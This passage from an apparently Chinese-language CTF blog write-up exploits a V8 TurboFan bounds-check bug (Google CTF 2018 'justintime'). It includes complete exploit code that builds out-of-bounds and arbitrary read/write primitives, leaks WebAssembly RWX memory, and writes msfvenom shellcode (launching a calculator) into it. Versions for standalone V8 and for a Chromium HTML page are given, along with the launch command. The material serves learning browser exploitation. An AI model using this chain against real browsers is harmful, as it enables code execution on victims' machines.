    arguments[0] :
    Undefined;
    let value : Object = arguments.length > 1 ?
    arguments[1] :
    Undefined;
    let is_little_endian : Object = arguments.length > 2 ?
    arguments[2] :
    Undefined;
    // 在越界检查完成后,继续调用 DataViewSet函数。
    return DataViewSet(context, receiver, offset, value,
    is_little_endian, FLOAT64_ELEMENTS);
    }
    macro DataViewSet(context: Context,
    receiver: Object,
    offset: Object,
    value: Object,
    requested_little_endian: Object,
    kind: constexpr ElementsKind): Object {
    // 获取当前 DataView 类型
    let data_view: JSDataView = ValidateDataView(
    context, receiver, MakeDataViewSetterNameString(kind));
    // ...
    let littleEndian: bool = ToBoolean(requested_little_endian);
    // 获取当前 DataView 中的 Buffer,即对应的 ArrayBuffer
    let buffer: JSArrayBuffer = data_view.buffer;
    // ...
    else {
    let double_value: float64 = ChangeNumberToFloat64(num_value);

    if constexpr (kind == UINT8_ELEMENTS || kind == INT8_ELEMENTS) {
    // ...
    }
    // ...
    else if constexpr (kind == FLOAT64_ELEMENTS) {
    // 将一个64位值分解成两个32位值并写入Buffer.
    let low_word: uint32 = Float64ExtractLowWord32(double_value);
    let high_word: uint32 = Float64ExtractHighWord32(double_value);
    StoreDataView64(buffer, bufferIndex, low_word, high_word,
    littleEndian);
    }
    }
    return Undefined;
    }
    macro StoreDataView64(buffer: JSArrayBuffer, offset: intptr,
    low_word: uint32, high_word: uint32,
    requested_little_endian: bool) {
    // 获取写入的内存地址,这里取的是 ArrayBuffer 中的 backing_store
    // 可以看到这个结果与我们的预计是一致的。
    let data_pointer: RawPtr = buffer.backing_store;
    // ...
    if (requested_little_endian) {
    // 将值写入 backing_store。
    StoreWord8(data_pointer, offset, b0);
    StoreWord8(data_pointer, offset + 1, b1);
    StoreWord8(data_pointer, offset + 2, b2);
    StoreWord8(data_pointer, offset + 3, b3);
    StoreWord8(data_pointer, offset + 4, b4);
    StoreWord8(data_pointer, offset + 5, b5);
    StoreWord8(data_pointer, offset + 6, b6);
    StoreWord8(data_pointer, offset + 7, b7);
    } else {
    // ...
    }
    }
  • 因此,现在我们可以试着构建任意地址读写原语

3) 任意地址读写原语
  • 根据上面的分析,我们可以梳理一条这样的过程来构造任意地址读写原语:

    • 通过 OOB 修改其自身 JSArray 的 length,从而达到大范围越界读写。
    • 试着将 ArrayBuffer 分配到与 OOB 的 JSArray 相同的内存段上,这样就可以通过 OOB 来修改 ArrayBuffer 的 backing_store。
    • 将 ArrayBuffer 与 DataView 对象关联,这样就可以在 JSArray 越界修改 ArrayBuffer 的 backing_store 后,通过DataView 对象读写目标内存。
  • 需要注意的是,在确定 FixedDoubleArray 与 backing_store 之前的相对偏移时,最好不要使用硬编码。因为如果需要在当前内存段上再新建立一个对象时,原先的相对偏移很有可能会失效;而且不使用硬编码也可以更好的将 exp 从 v8 移植到 chromium上

    但不使用硬编码时,使用 for循环结果语句 来循环越界读取数组将会触发一个CSA_ASSERT

    1
    2
    3
    4
    5
    6
    // v8/src/code-stub-assembler.cc

    // in TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement
    CSA_ASSERT(this, IsOffsetInBounds(
    offset, LoadAndUntagFixedArrayBaseLength(object),
    FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));

    由于CSA_ASSERT只会在Debug版本下的 v8 生效,因此我们同样可以注释掉该语句再重新编译,不影响 chromium 中 exp 的编写。

  • 综上所述,最后构造出的任意地址读写原语如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    function log(msg)
    {
    console.log(msg);
    // var elem = document.getElementById("#log");
    // elem.innerText += '[+] ' + msg + '\n';
    }

    /******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/

    var transformBuffer = new ArrayBuffer(8);
    var bigIntArray = new BigInt64Array(transformBuffer);
    var floatArray = new Float64Array(transformBuffer);
    function Int64ToFloat64(int)
    {
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
    }
    function Float64ToInt64(float)
    {
    floatArray[0] = float;
    return bigIntArray[0];
    }

    /******* -- 修改JSArray length 的操作 -- *******/
    var oob_arr = [];
    function opt_me(x)
    {
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
    }
    // 试着触发 turboFan,从而修改 JSArray 的 length
    for(let i = 0; i < 0x10000; i++)
    opt_me(1);
    // 简单 checker
    if(oob_arr[1023] == undefined)
    throw "OOB Fail!";
    else
    log("[+] oob_arr.length == " + oob_arr.length);

    /******* -- 任意地址读写原语 -- *******/
    var array_buffer;
    array_buffer = new ArrayBuffer(0x233);
    data_view = new DataView(array_buffer);
    backing_store_offset = -1;

    // 确定backing_store_offset
    for(let i = 0; i < 0x400; i++)
    {
    // smi(0x233) == 0x0000023300000000
    if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
    {
    backing_store_offset = i + 1;
    break;
    }
    }
    // 简单确认一下是否成功找到 backing_store
    if(backing_store_offset == -1)
    throw "backing_store is not found!";
    else
    log("[+] backing_store offset: " + backing_store_offset);

    function read_8bytes(addr)
    {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true); // true 设置小端序
    }
    function write_8bytes(addr, data)
    {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
    }

    /******* -- try arbitrary read/write -- *******/
    // 试着读取地址为 0xdeaddead 的内存
    read_8bytes(0xdeaddead);
    // 试着写入地址为 0xdeaddead 的内存
    write_8bytes(0xdeaddead, 0x89abcdef);

    测试结果如下:

    注:单次只能测试任意读或任意写,不能同时测试。

    • 可以将目标数据写入目标地址:

      img

    • 可以从目标地址中读出数据

      img

c. 泄露 RWX 地址

  • 由于 v8 已经取消JIT 编码的 JSFunction 放入 RWX 内存中 ,因此我们必须另找它法。根据所搜索到的利用方式,有以下两种:

    1. 将 Array 的 JSFunction 写入内存并泄露,之后就可以进一步泄露 JSFunction 中的 code 指针。由于这个Code指针指向 chromium 二进制文件内部,因此我们可以将二进制文件拖入 IDA 中计算相对位移,获取 代码基地址 => GOT表条目 => libc基地址 => enviroment指针,这样就可以获取到可写的栈地址以及mprotect地址。

      然后将 shellcode 写入栈里并 ROP 调用 mprotect 修改执行权限,最后跳转执行,这样就可以成功执行 shellcode。

      此方法来自 Sakura 师傅,第四条参考链接。

    2. v8 除了编译 JS 以外还编译 WebAssembly (wasm)代码,而 wasm 模块至今仍然使用 RWX 内存,因此我们可以试着将 shellcode 写入这块内存中并执行,不过这个方法有点折腾。

      此方法来自 doar-e,第一条参考链接。

    第一种利用方式非常的直接,利用起来应该没有太大的难度。因此出于学习的目的,我们选择第二种方式,学习一下 WebAssembly 的利用方式。

  • 通过查阅这片文章 浅谈如何逆向分析WebAssembly二进制文件 - 安全客,我们可以获取到wasm的简易使用方式,并通过这个方式获取到 Wasm 的 JSFunction:

    1
    2
    3
    4
    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
    var WasmJSFunction = m.exports.func;
  • 而对于一个 Wasm 的 JSFunction,我们可以通过以下路径来获取 RWX 段地址:

    这条路径稍微有点长:JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> JumpTableStart。

    • 从 JSFunction 出发,获取其 SharedFunctionInfo(相对偏移为 0x18)

      img

    • 之后从 SharedFunctionInfo 获取其 WasmExportedFunctionData(相对偏移为 0x8)

      img

    • 再从 WasmExportedFunctionData 中获取 WasmInstanceObject(相对偏移为 0x10)

      img

    • 最后从 WasmInstanceObject 中获取 JumpTableStart(相对偏移为 0xe8)

      img

  • 查看获取到的 JumpTableStart 位置处的数据,我们可以发现这里是一串汇编代码。给该位置下断,并在 JS 中执行一下 Wasm 的 JSFunction ,我们可以发现控制流被断点成功捕获:

    img

    以下是测试用的 JS 代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
    var WasmJSFunction = m.exports.func;
    // 输出一下 Wasm JSFunction 地址,并获取其 JumpTableStart
    %DebugPrint(WasmJSFunction);
    // 之后在 gdb 中给 JumpTableStart 下个断点
    %SystemBreak();
    // 尝试执行 Wasm JSFunction
    WasmJSFunction();
    %SystemBreak();
  • 现在情况已经非常明了了,通过之前构建的任意地址读取原语,一步步读取 Wasm JSFunction 的各个属性并最终获取 RWX 内存地址:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    function prettyHex(bigint)
    {
    return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
    }

    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
    var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
    var WasmJSFunction = m.exports.func;
    // 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
    // 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址
    var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
    var WasmJSFunctionIndex = -1;

    for(let i = 0; i < 0x4000; i++)
    {
    // 查找哨兵值
    if(Float64ToInt64(oob_arr[i]) == 0x233333)
    {
    WasmJSFunctionIndex = i + 1;
    break;
    }
    }

    // 简单确认一下是否成功找到 WasmJSFunctionAddr
    if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
    else
    log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

    // 获取 WasmJSFunction 地址
    WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
    log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
    // 获取 SharedFunctionInfo 地址
    SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
    log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
    // 获取 WasmExportedFunctionData 地址
    WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
    log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
    // 获取 WasmInstanceObject 地址
    WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
    log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
    // 获取 JumpTableStart 地址
    JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
    log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

    需要注意的是,在读取WasmExportedFunctionDataAddr时会触发 debug 的越界检查:

    1
    2
    3
    4
    // v8/src/code-stub-assembler.cc
    // in CodeStubAssembler::FixedArrayBoundsCheck
    CSA_CHECK(this, UintPtrLessThan(effective_index,
    LoadAndUntagFixedArrayBaseLength(array)));

    注释掉再重新编译即可。

d. shellcode

最后我们只要将 shellcode 写入该 RWX 地址处并调用 Wasm JSFunction 即可成功执行 shellcode。

使用 msfvenom 生成满足以下条件的 shellcode:

  • payload为 linux x64

  • 格式为 C语言

  • 命令为DISPLAY=:0 gnome-calculator

1
msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c

输出如下:

1
2
3
4
5
6
7
8
Payload size: 67 bytes
Final size of c file: 307 bytes
unsigned char buf[] =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1c\x00"
"\x00\x00\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e"
"\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00"
"\x56\x57\x48\x89\xe6\x0f\x05";

e. exploit

  • 结合上面的内容,release 版本 v8 的 exp 如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    function log(msg)
    {
    console.log(msg);
    // var elem = document.getElementById("#log");
    // elem.innerText += '[+] ' + msg + '\n';
    }

    /******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/

    var transformBuffer = new ArrayBuffer(8);
    var bigIntArray = new BigInt64Array(transformBuffer);
    var floatArray = new Float64Array(transformBuffer);
    function Int64ToFloat64(int)
    {
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
    }
    function Float64ToInt64(float)
    {
    floatArray[0] = float;
    return bigIntArray[0];
    }

    /******* -- 修改JSArray length 的操作 -- *******/
    var oob_arr = [];
    function opt_me(x)
    {
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
    }
    // 试着触发 turboFan,从而修改 JSArray 的 length
    for(let i = 0; i < 0x10000; i++)
    opt_me(1);
    // 简单 checker
    if(oob_arr[1023] == undefined)
    throw "OOB Fail!";
    else
    log("[+] oob_arr.length == " + oob_arr.length);

    /******* -- 任意地址读写原语 -- *******/

    var array_buffer;
    array_buffer = new ArrayBuffer(0x233);
    data_view = new DataView(array_buffer);
    backing_store_offset = -1;

    // 确定backing_store_offset
    for(let i = 0; i < 0x4000; i++)
    {
    // smi(0x400) == 0x0000023300000000
    if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
    {
    backing_store_offset = i + 1;
    break;
    }
    }
    // 简单确认一下是否成功找到 backing_store
    if(backing_store_offset == -1)
    throw "backing_store is not found!";
    else
    log("[+] find backing_store offset: " + backing_store_offset);

    function read_8bytes(addr)
    {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true);
    }
    function write_8bytes(addr, data)
    {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true);
    }

    /******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
    function prettyHex(bigint)
    {
    return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
    }

    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
    var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
    var WasmJSFunction = m.exports.func;
    // 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
    // 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址
    var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
    var WasmJSFunctionIndex = -1;

    for(let i = 0; i < 0x4000; i++)
    {
    // 查找哨兵值
    if(Float64ToInt64(oob_arr[i]) == 0x233333)
    {
    WasmJSFunctionIndex = i + 1;
    break;
    }
    }

    // 简单确认一下是否成功找到 WasmJSFunctionAddr
    if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
    else
    log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

    // 获取 WasmJSFunction 地址
    WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
    log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
    // 获取 SharedFunctionInfo 地址
    SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
    log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
    // 获取 WasmExportedFunctionData 地址
    WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
    log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
    // 获取 WasmInstanceObject 地址
    WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
    log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
    // 获取 JumpTableStart 地址
    JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
    log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

    /******* -- 写入并执行shell code -- *******/
    var shellcode = new Uint8Array(
    [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
    0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
    0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
    0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
    0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
    );
    // 写入shellcode
    log("[+] writing shellcode ... ");
    // (尽管单次写入内存的数据大小为8bytes,但为了简便,一次只写入 1bytes 有效数据)
    for(let i = 0; i < shellcode.length; i++)
    write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
    // 执行shellcode
    log("[+] execute calculator !");
    WasmJSFunction();

    最终在 release 版下的 v8 可以成功调用 calculator:

    img

  • 但我们做题实际用到附件是一个带漏洞 v8 的 chromium。为了将 exploit 从 v8 移植到 chromium,其中做了一点点微调,因此最终的 exploit 如下:

    这里主要调整了两个地方:

    1. 微调了内存布局。
      将oob_arr、array_buffer以及WasmJSFunctionObj放的更近,使得内存布局的相对偏移不会太大。这样搜索哨兵值时就不用搜索太多次。
    2. 将两个搜索哨兵值的for循环合并成一个。
      因为动态调试发现,当第二个for循环开始执行几十个循环后,原先存放 oob_array 以及 WasmJSFunctionObj 内存的数据将会被覆盖,疑似GC因为对象被过多访问而将其移动至另一个内存段上。这对我们泄露地址相当不利,因此合并两个for循环以降低搜索次数。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    <script>
    /******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
    var transformBuffer = new ArrayBuffer(8);
    var bigIntArray = new BigInt64Array(transformBuffer);
    var floatArray = new Float64Array(transformBuffer);
    function Int64ToFloat64(int) {
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
    }
    function Float64ToInt64(float) {
    floatArray[0] = float;
    return bigIntArray[0];
    }

    /******* -- 修改JSArray length 的操作 -- *******/
    var oob_arr = [];

    function opt_me(x) {
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    oob_arr[t] = 3.4766779039175022e-310; // 0x4000.f2smi
    }
    // 试着触发 turboFan,从而修改 JSArray 的 length
    for (let i = 0; i < 0x10000; i++)
    opt_me(1);
    // 简单 checker
    if (oob_arr[1023] == undefined)
    throw "OOB Fail!";
    else
    console.log("[+] oob_arr.length == " + oob_arr.length);

    /******* -- 布置内存(使 oob_array、array_buffer 以及 WasmJSFunctionObj 相邻) -- *******/
    // 注意必须在执行完turboFan后开始布置

    var array_buffer;
    array_buffer = new ArrayBuffer(0x233);
    data_view = new DataView(array_buffer);
    backing_store_offset = -1;

    // C++ 代码 `void func() {}` 的 wasm 二进制代码
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 132, 128, 128, 128,
    0, 1, 96, 0, 0, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5,
    131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2,
    6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 102, 117, 110, 99, 0, 0, 10, 136, 128, 128, 128,
    0, 1, 130, 128, 128, 128, 0, 0, 11]);
    var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), {});
    var WasmJSFunction = m.exports.func;
    // 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
    // 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址
    var WasmJSFunctionObj = { guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction };
    var WasmJSFunctionIndex = -1;

    /******* -- 任意地址读写原语 -- *******/

    // 确定backing_store_offset 以及 WasmJSFunctionIndex
    // 只用一个for循环,只遍历一次
    for (let i = 0; i < 0x4000; i++) {
    let val = Float64ToInt64(oob_arr[i]);
    // 开始查找哨兵值
    // 在查找array_buffer的backing_store时,注意DataView在Array_buffer高地址处
    // 查找哨兵值时有可能会查找到错误的位置,因此这里只取查找到的第一个地方
    if (backing_store_offset == -1 && val == 0x0000023300000000) {
    backing_store_offset = i + 1;
    console.log("[+] find backing_store offset: " + backing_store_offset);
    }
    else if (WasmJSFunctionIndex == -1 && val == 0x233333) {
    WasmJSFunctionIndex = i + 1;
    console.log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);
    }
    // 如果都找到了就不用再找,以免碰上SIGMAP
    if (backing_store_offset != -1 && WasmJSFunctionIndex != -1)
    break;
    }
    // 简单确认一下是否成功找到 backing_store
    if (backing_store_offset == -1)
    throw "backing_store is not found!";
    // 简单确认一下是否成功找到 WasmJSFunctionAddr
    else if (WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";

    function read_8bytes(addr) {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true);
    }
    function write_8bytes(addr, data) {
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true);
    }

    /******* -- 布置 wasm 地址以及获取 RWX 内存地址 -- *******/
    function prettyHex(bigint) {
    return "0x" + BigInt.asUintN(64, bigint).toString(16).padStart(16, '0');
    }

    // 获取 WasmJSFunction 地址
    WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
    console.log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
    // 获取 SharedFunctionInfo 地址
    SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
    console.log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
    // 获取 WasmExportedFunctionData 地址
    WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
    console.log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
    // 获取 WasmInstanceObject 地址
    WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
    console.log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
    // 获取 JumpTableStart 地址
    JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
    console.log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

    /******* -- 写入并执行shell code -- *******/
    var shellcode = new Uint8Array(
    [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
    0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x1c, 0x00,
    0x00, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x20, 0x67, 0x6e,
    0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00,
    0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05]
    );
    // 写入shellcode
    console.log("[+] writing shellcode ... ");
    // (尽管单次写入内存的数据大小为8bytes,但为了简便,一次只写入 1bytes 有效数据)
    for (let i = 0; i < shellcode.length; i++)
    write_8bytes(JumpTableStartAddr + BigInt(i), shellcode[i]);
    // 执行shellcode
    console.log("[+] try to execute shellcode ... ");
    WasmJSFunction();
    </script>

    使用如下命令以执行exp:

    1
    chrome/chrome --no-sandbox --user-data-dir=./userdata http://127.0.0.1:8000/test.html

    尽管给出的附件打了no-sandbox的patch,但实际exp仍然无法执行,必须附加参数--no-sandbox才能成功触发,玄学问题XD。

    效果如下:

    ![img](v8-turboFan/exp.gif %}

七、参考

  1. Introduction to TurboFan
  2. google-ctf-2018-browser-pwn分析
  3. Why I failed to trigger Bound Check Elimination in Google CTF 2018 Final JIT
  4. Google CTF justintime writeup - 先知社区
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~